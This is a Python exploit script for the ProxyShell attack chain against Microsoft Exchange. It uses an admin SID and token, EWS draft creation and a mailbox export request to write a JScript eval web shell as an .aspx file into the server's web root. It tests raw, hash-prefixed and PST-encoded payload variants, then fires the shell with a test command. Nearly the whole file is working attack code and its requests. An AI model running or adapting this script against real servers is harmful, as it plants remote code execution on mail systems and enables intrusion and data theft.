#!/usr/bin/env python3
# Test: deliver RAW JScript as EWS attachment content, export to .aspx, check if ASP.NET compiles it
import sys, time, random, base64
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()

LABELS = ["raw", "raw_hash", "pstencode"]

def make_content(kind, input_name="exec_code"):
    jscript = '<script language="JScript" runat="server">function Page_Load(){eval(Request["%s"],"unsafe");}</script>' % input_name
    if kind == "raw":
        data = jscript.encode()
    elif kind == "raw_hash":
        data = ("#" + jscript).encode()
    else:
        data = P.PstEncoding.encode("<script language=\"JScript\" runat=\"server\">function Page_Load(){eval(Request[\"%s\"],\"unsafe\");}</script>" % input_name)
    return base64.b64encode(data).decode()

def createitem(sidv, subj, payload, mail):
    return '''<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"><soap:Header><t:RequestServerVersion Version="Exchange2016"/><t:SerializedSecurityContext><t:UserSid>%s</t:UserSid><t:GroupSids><t:GroupIdentifier><t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier></t:GroupIdentifier></t:GroupSids></t:SerializedSecurityContext></soap:Header><soap:Body><m:CreateItem MessageDisposition="SaveOnly"><m:Items><t:Message><t:Subject>%s</t:Subject><t:Body BodyType="HTML">hello</t:Body><t:Attachments><t:FileAttachment><t:Name>f.txt</t:Name><t:IsInline>false</t:IsInline><t:IsContactPhoto>false</t:IsContactPhoto><t:Content>%s</t:Content></t:FileAttachment></t:Attachments><t:ToRecipients><t:Mailbox><t:EmailAddress>%s</t:EmailAddress></t:Mailbox></t:ToRecipients></t:Message></m:Items></m:CreateItem></soap:Body></soap:Envelope>''' % (sidv, subj, payload, mail)

def main():
    ip = sys.argv[1]
    ps = P.ProxyShell(f"https://{ip}", timeout=20)
    ps.get_fqdn(); ps.get_legacydn(); print("email:", ps.email)
    ps.get_sid(); ps.sid = ps.admin_sid
    print("token:", "OK" if ps.get_token() else "FAIL")
    port = random.randint(20000, 40000)
    P.start_server(ps, port); time.sleep(1)
    def run(s):
        o, e = P.wsman_shell(s, port); return [str(x) for x in o], [str(x) for x in e]

    for kind in LABELS:
        subj = "R" + P.rand_string(6)
        content = make_content(kind)
        r = ps.post('/ews/exchange.asmx', createitem(ps.sid, subj, content, ps.email), {"Content-Type": "text/xml;charset=UTF-8"})
        if 'ResponseClass="Success"' not in r.text:
            print(kind, "draft FAIL:", r.text[:120]); continue
        time.sleep(2)
        for st in ('Completed','Failed','InProgress'):
            try: run('Get-MailboxExportRequest -Status %s | Remove-MailboxExportRequest -Confirm:$false' % st)
            except Exception: pass
        name = kind + P.rand_string(5) + ".aspx"
        unc = "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\" + name
        cmd = 'New-MailboxExportRequest -Mailbox %s -IncludeFolders ("#Drafts#") -ContentFilter "(Subject -eq \'%s\')" -FilePath "%s"' % (ps.email, subj, unc)
        try: run(cmd)
        except Exception as e: print(kind, "export err", e)
        url = f"https://{ip}/aspnet_client/{name}"
        found = None
        for i in range(6):
            time.sleep(5)
            try:
                rr = requests.get(url, verify=False, timeout=20)
                print(f"[{kind}] poll{i} code={rr.status_code} len={len(rr.content)} has_script={b'<script' in rr.content} has_JScript={b'JScript' in rr.content} head={rr.content[:16]!r}")
                if b'<script' in rr.content:
                    found = url; break
            except Exception as e:
                print(kind, "poll err", e)
        try: run('Get-MailboxExportRequest | Remove-MailboxExportRequest -Confirm:$false')
        except Exception: pass
        if found:
            print(f"[{kind}] SCRIPT PRESENT -> trigger")
            for pname in ("exec_code",):
                try:
                    rr = requests.post(found, data={pname: 'Response.Write("PWNED_"+new Date().getTime())'}, verify=False, timeout=20)
                    print("  POST", rr.status_code, repr(rr.content[:200]))
                except Exception as e: print("  trigger err", e)
            return
    print("NO RAW SCRIPT FOUND IN ANY VARIANT")

main()
